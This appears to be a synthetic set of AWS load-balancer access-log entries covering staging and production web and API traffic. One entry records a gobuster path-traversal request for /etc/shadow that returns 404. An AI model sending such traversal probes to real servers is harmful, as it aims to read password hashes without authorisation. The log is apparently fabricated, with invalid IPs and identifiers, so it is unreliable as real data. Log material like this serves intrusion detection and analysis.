106.187.134.101:80 0.051123 0.665344 0.067037 200 200 96 5595 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf38-582a1ecdcf9d4404abe0b97f" "staging-alb.example.com" "-" 5 2024-11-01T00:32:40.624706Z "forward" "-" "-" "106.187.134.101:80" "200" "-" "-" +https 2024-11-01T00:32:42.113247Z staging-alb 108.196.102.66:61703 20.160.243.184:443 0.008614 0.473371 0.068528 200 200 920 6582 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf3a-f2699dc02d5c4a079094b392" "staging-alb.example.com" "-" 8 2024-11-01T00:32:42.113247Z "forward" "-" "-" "20.160.243.184:443" "200" "-" "-" +http 2024-11-01T00:32:43.490463Z staging-alb 206.2.255.104:46889 145.42.179.180:80 0.041287 0.445076 0.141818 200 200 368 2002 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf3b-c99db8a0287b4c4fa823c442" "staging-alb.example.com" "-" 4 2024-11-01T00:32:43.490463Z "forward" "-" "-" "145.42.179.180:80" "200" "-" "-" +https 2024-11-01T00:32:44.783860Z staging-alb 68.99.151.190:60357 189.20.106.19:443 0.006752 0.423630 0.098840 301 301 681 3724 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf3c-2b0b960bbbe949399a718b6b" "staging-alb.example.com" "-" 6 2024-11-01T00:32:44.783860Z "forward" "-" "-" "189.20.106.19:443" "301" "-" "-" +http 2024-11-01T00:32:46.564636Z staging-alb 255.125.228.248:44347 79.104.101.2:443 0.055990 0.417422 0.072743 404 404 848 3918 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf3e-8788a0b985ac4bfca0dc9abc" "staging-alb.example.com" "-" 0 2024-11-01T00:32:46.564636Z "forward" "-" "-" "79.104.101.2:443" "404" "-" "-" +https 2024-11-01T00:32:47.160548Z prod-api-alb 139.186.122.30:32274 10.0.128.174:443 0.061909 0.160130 0.033385 200 200 227 4331 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf3f-bc3f2b7677594b40bc6c025b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:32:47.160548Z "forward" "-" "-" "10.0.128.174:443" "200" "-" "-" +https 2024-11-01T00:32:48.950172Z prod-api-alb 43.183.222.190:38526 10.0.71.140:443 0.074388 0.144423 0.064371 200 200 572 288 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf40-949530e16b2a4d9d8b1ff8e5" "prod-api-alb.example.com" "-" 9 2024-11-01T00:32:48.950172Z "forward" "-" "-" "10.0.71.140:443" "200" "-" "-" +https 2024-11-01T00:32:50.673192Z staging-alb 103.224.52.144:27220 203.199.65.51:443 0.086026 0.744071 0.005746 404 404 606 1829 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf42-d08af7e4faad46ebb40a647f" "staging-alb.example.com" "-" 9 2024-11-01T00:32:50.673192Z "forward" "-" "-" "203.199.65.51:443" "404" "-" "-" +https 2024-11-01T00:32:50.929702Z prod-api-alb 120.157.240.223:26532 10.0.49.111:443 0.012501 0.484500 0.095686 302 302 1 12517 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf42-88078c9ae18c4b94ac6e1d07" "prod-api-alb.example.com" "-" 3 2024-11-01T00:32:50.929702Z "forward" "-" "-" "10.0.49.111:443" "302" "-" "-" +https 2024-11-01T00:32:51.794241Z prod-api-alb 22.250.198.98:30673 10.0.114.244:443 0.096381 0.070622 0.047140 200 200 876 10926 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf43-3e99f899d640454daecf2051" "prod-api-alb.example.com" "-" 1 2024-11-01T00:32:51.794241Z "forward" "-" "-" "10.0.114.244:443" "200" "-" "-" +https 2024-11-01T00:32:51.905772Z prod-web-alb 177.111.142.42:26252 10.0.141.57:443 0.068066 0.211922 0.084495 200 200 382 4559 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf43-66dd6817600c4da18e2641ea" "prod-web-alb.example.com" "-" 2 2024-11-01T00:32:51.905772Z "forward" "-" "-" "10.0.141.57:443" "200" "-" "-" +https 2024-11-01T00:32:52.711734Z prod-web-alb 51.168.48.199:10622 10.0.90.128:443 0.055900 0.045373 0.078895 200 200 836 6535 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf44-8791591b9bab407fa3809708" "prod-web-alb.example.com" "-" 5 2024-11-01T00:32:52.711734Z "forward" "-" "-" "10.0.90.128:443" "200" "-" "-" +https 2024-11-01T00:32:54.561757Z prod-web-alb 6.225.22.91:38746 10.0.38.3:443 0.032138 0.227671 0.078282 302 302 813 11124 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf46-25e285f421e445cebf198a09" "prod-web-alb.example.com" "-" 4 2024-11-01T00:32:54.561757Z "forward" "-" "-" "10.0.38.3:443" "302" "-" "-" +https 2024-11-01T00:32:55.023550Z staging-alb 212.248.214.114:15511 220.134.145.31:443 0.097136 0.088804 0.011978 200 200 173 4231 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf47-85a82da41e1e4a1a8cde1959" "staging-alb.example.com" "-" 4 2024-11-01T00:32:55.023550Z "forward" "-" "-" "220.134.145.31:443" "200" "-" "-" +https 2024-11-01T00:32:55.618286Z prod-web-alb 179.5.226.134:28836 10.0.87.79:443 0.065570 0.102982 0.078702 200 200 230 5055 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf47-15a42c33fb9e48c183afaaa0" "prod-web-alb.example.com" "-" 8 2024-11-01T00:32:55.618286Z "forward" "-" "-" "10.0.87.79:443" "200" "-" "-" +https 2024-11-01T00:32:55.876797Z staging-alb 219.246.173.8:50893 120.51.78.53:80 0.043124 0.419162 0.044791 301 301 838 4977 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf47-3835d5eb11654532aa5a0665" "staging-alb.example.com" "-" 1 2024-11-01T00:32:55.876797Z "forward" "-" "-" "120.51.78.53:80" "301" "-" "-" +https 2024-11-01T00:32:57.771418Z staging-alb 142.222.171.112:20537 32.47.57.59:443 0.019386 0.725549 0.082404 301 301 751 10407 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf49-bb1efeec8f694bf8bc5dff1c" "staging-alb.example.com" "-" 3 2024-11-01T00:32:57.771418Z "forward" "-" "-" "32.47.57.59:443" "301" "-" "-" +https 2024-11-01T00:32:58.335924Z staging-alb 112.100.101.210:61828 231.214.114.223:8080 0.026119 0.589520 0.042521 200 200 451 6987 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf4a-48507f072ce7456c96d756ac" "staging-alb.example.com" "-" 5 2024-11-01T00:32:58.335924Z "forward" "-" "-" "231.214.114.223:8080" "200" "-" "-" +https 2024-11-01T00:32:59.152869Z prod-web-alb 50.24.48.165:64888 10.0.65.165:443 0.096928 0.318704 0.055979 404 404 904 2265 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf4b-5eee2631f3db43abb7a715a5" "prod-web-alb.example.com" "-" 5 2024-11-01T00:32:59.152869Z "forward" "-" "-" "10.0.65.165:443" "404" "-" "-" +https 2024-11-01T00:33:00.000905Z prod-web-alb 74.30.99.230:40888 10.0.127.170:443 0.021190 0.468806 0.049981 200 200 29 4148 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf4c-f2f8bae62fb8465dbf8fb457" "prod-web-alb.example.com" "-" 7 2024-11-01T00:33:00.000905Z "forward" "-" "-" "10.0.127.170:443" "200" "-" "-" +https 2024-11-01T00:33:01.827601Z prod-api-alb 242.199.16.178:53301 10.0.245.81:443 0.053571 0.328479 0.004722 200 200 879 7046 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf4d-99c972ad40a647af91cccf07" "prod-api-alb.example.com" "-" 7 2024-11-01T00:33:01.827601Z "forward" "-" "-" "10.0.245.81:443" "200" "-" "-" +https 2024-11-01T00:33:02.179040Z prod-api-alb 217.76.11.18:30269 10.0.31.36:443 0.025141 0.261528 0.021433 200 200 744 9641 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf4e-9d3d679a2fd34a179978aa22" "prod-api-alb.example.com" "-" 3 2024-11-01T00:33:02.179040Z "forward" "-" "-" "10.0.31.36:443" "200" "-" "-" +https 2024-11-01T00:33:02.590740Z prod-api-alb 69.120.89.30:60629 10.0.48.48:443 0.017520 0.482957 0.033683 200 200 880 11789 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf4e-3414288e7d444ef5aa23f1a6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:33:02.590740Z "forward" "-" "-" "10.0.48.48:443" "200" "-" "-" +https 2024-11-01T00:33:04.145507Z prod-api-alb 140.125.39.98:39379 10.0.48.93:443 0.090709 0.382677 0.071908 404 404 441 3178 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf50-58ec21955e94400fa17107e4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:04.145507Z "forward" "-" "-" "10.0.48.93:443" "404" "-" "-" +https 2024-11-01T00:33:05.361921Z prod-api-alb 181.40.111.114:22380 10.0.195.40:443 0.002343 0.465670 0.021884 301 301 176 1056 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf51-d73949ca83034ab7bb82567c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:33:05.361921Z "forward" "-" "-" "10.0.195.40:443" "301" "-" "-" +https 2024-11-01T00:33:05.862486Z staging-alb 232.118.224.210:38490 91.193.21.9:8080 0.010938 0.585333 0.120342 301 301 616 3059 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf51-5ddc3630a87c45d6b5b7c869" "staging-alb.example.com" "-" 6 2024-11-01T00:33:05.862486Z "forward" "-" "-" "91.193.21.9:8080" "301" "-" "-" +https 2024-11-01T00:33:07.507867Z prod-api-alb 181.21.60.152:24925 10.0.59.47:443 0.096309 0.359600 0.000291 301 301 488 4690 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf53-e4d316ae256a4f9a9f89526c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:33:07.507867Z "forward" "-" "-" "10.0.59.47:443" "301" "-" "-" +https 2024-11-01T00:33:08.040336Z prod-api-alb 208.72.128.26:22355 10.0.128.152:443 0.027889 0.122082 0.057799 200 200 235 2914 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf54-cf7686aa50154621993464b3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:08.040336Z "forward" "-" "-" "10.0.128.152:443" "200" "-" "-" +https 2024-11-01T00:33:08.932571Z prod-web-alb 193.27.228.156:21729 10.0.219.78:443 0.078867 0.315453 0.089825 404 404 449 1974 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf54-2974c8ce58764514bb2fba6f" "-" "-" 0 2024-11-01T00:33:08.932571Z "forward" "-" "-" "10.0.219.78:443" "404" "-" "-" +http 2024-11-01T00:33:10.608896Z staging-alb 75.100.236.212:49812 212.43.104.220:443 0.074521 0.350461 0.139825 200 200 314 9119 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf56-d6877d84ade5473e8a6f6293" "staging-alb.example.com" "-" 8 2024-11-01T00:33:10.608896Z "forward" "-" "-" "212.43.104.220:443" "200" "-" "-" +https 2024-11-01T00:33:11.510589Z prod-web-alb 137.7.240.83:36438 10.0.131.145:443 0.066328 0.365819 0.062801 200 200 420 5684 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf57-6ce7e7c89dbc49f29b35b81a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:11.510589Z "forward" "-" "-" "10.0.131.145:443" "200" "-" "-" +http 2024-11-01T00:33:11.984735Z staging-alb 50.76.100.210:14071 197.95.146.196:8080 0.071174 0.686632 0.061250 200 200 665 3158 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf57-ffe365f108ad4c47901890e0" "staging-alb.example.com" "-" 7 2024-11-01T00:33:11.984735Z "forward" "-" "-" "197.95.146.196:8080" "200" "-" "-" +https 2024-11-01T00:33:13.705410Z staging-alb 74.161.184.200:44469 148.90.62.35:80 0.085611 0.535833 0.019215 200 200 193 2659 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf59-9b4c0a7d62ee45869109510f" "staging-alb.example.com" "-" 7 2024-11-01T00:33:13.705410Z "forward" "-" "-" "148.90.62.35:80" "200" "-" "-" +https 2024-11-01T00:33:14.534542Z staging-alb 125.29.36.247:23275 84.71.81.119:80 0.088630 0.228745 0.013375 302 302 848 10296 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf5a-3170ba5e2bdc400e91b42d38" "staging-alb.example.com" "-" 3 2024-11-01T00:33:14.534542Z "forward" "-" "-" "84.71.81.119:80" "302" "-" "-" +https 2024-11-01T00:33:15.844852Z prod-api-alb 158.5.77.150:13776 10.0.251.95:443 0.002763 0.262840 0.000181 200 200 910 3341 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf5b-119af72df55d4748ad82f9ca" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:15.844852Z "forward" "-" "-" "10.0.251.95:443" "200" "-" "-" +https 2024-11-01T00:33:16.943308Z prod-web-alb 166.55.161.4:48653 10.0.125.249:443 0.047051 0.315132 0.025638 301 301 676 9722 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf5c-68f0d5ecdc4d456182e5e41d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:16.943308Z "forward" "-" "-" "10.0.125.249:443" "301" "-" "-" +https 2024-11-01T00:33:18.559280Z prod-web-alb 64.33.131.159:30661 10.0.216.236:443 0.063659 0.335759 0.090907 200 200 247 1569 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf5e-1d4d742236d949a3847c6e90" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:18.559280Z "forward" "-" "-" "10.0.216.236:443" "200" "-" "-" +https 2024-11-01T00:33:20.163865Z prod-web-alb 10.247.51.153:48381 10.0.102.12:443 0.024115 0.140977 0.022333 404 404 817 3767 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf60-6cf705ba6e6d4d06bbd4d228" "prod-web-alb.example.com" "-" 2 2024-11-01T00:33:20.163865Z "forward" "-" "-" "10.0.102.12:443" "404" "-" "-" +https 2024-11-01T00:33:21.670508Z prod-web-alb 62.190.49.183:15544 10.0.77.145:443 0.042705 0.213530 0.050537 200 200 402 12646 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf61-34ef8ebf55464750ae3fdb4c" "prod-web-alb.example.com" "-" 2 2024-11-01T00:33:21.670508Z "forward" "-" "-" "10.0.77.145:443" "200" "-" "-" +https 2024-11-01T00:33:22.682665Z prod-web-alb 251.111.55.154:14987 10.0.219.20:443 0.002743 0.325978 0.059511 200 200 550 10653 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf62-1ce7aa02f5b24fc98aff3370" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:22.682665Z "forward" "-" "-" "10.0.219.20:443" "200" "-" "-" +http 2024-11-01T00:33:24.594975Z staging-alb 55.77.81.76:18135 19.237.91.4:443 0.127907 0.499533 0.015264 200 200 873 12211 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf64-2990d0145e5c4e2d8af2d1e0" "staging-alb.example.com" "-" 7 2024-11-01T00:33:24.594975Z "forward" "-" "-" "19.237.91.4:443" "200" "-" "-" +https 2024-11-01T00:33:25.829794Z prod-api-alb 72.205.196.96:46011 10.0.128.126:443 0.026016 0.251419 0.082045 302 302 288 3261 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf65-c70aed3731aa437c8e705921" "prod-api-alb.example.com" "-" 2 2024-11-01T00:33:25.829794Z "forward" "-" "-" "10.0.128.126:443" "302" "-" "-" +https 2024-11-01T00:33:25.931094Z prod-web-alb 246.200.122.178:30554 10.0.202.132:443 0.081444 0.163720 0.001397 404 404 407 13170 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf65-1f52d9be4d4440b9906f93f2" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:25.931094Z "forward" "-" "-" "10.0.202.132:443" "404" "-" "-" +https 2024-11-01T00:33:27.334592Z prod-web-alb 195.211.170.177:14398 10.0.89.213:443 0.034422 0.467924 0.081849 302 302 924 13433 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf67-6d439284ca6f427fb4e68d4b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:33:27.334592Z "forward" "-" "-" "10.0.89.213:443" "302" "-" "-" +https 2024-11-01T00:33:28.779036Z prod-web-alb 213.20.67.235:13755 10.0.163.202:443 0.010877 0.440835 0.057623 200 200 353 10041 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf68-32d15cab314941c5bd2b9690" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:28.779036Z "forward" "-" "-" "10.0.163.202:443" "200" "-" "-" +https 2024-11-01T00:33:30.522916Z prod-api-alb 44.132.83.93:19747 10.0.11.68:443 0.049470 0.367313 0.088506 200 200 32 4292 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf6a-a1621b6243b8464da2f0692b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:33:30.522916Z "forward" "-" "-" "10.0.11.68:443" "200" "-" "-" +https 2024-11-01T00:33:32.473230Z prod-web-alb 78.230.38.229:59936 10.0.193.77:443 0.014612 0.164240 0.005364 200 200 807 9738 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf6c-91cbdee7c244474184234173" "prod-web-alb.example.com" "-" 3 2024-11-01T00:33:32.473230Z "forward" "-" "-" "10.0.193.77:443" "200" "-" "-" +https 2024-11-01T00:33:32.643564Z prod-api-alb 133.99.13.11:42846 10.0.242.92:443 0.033088 0.316396 0.023199 301 301 324 8678 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 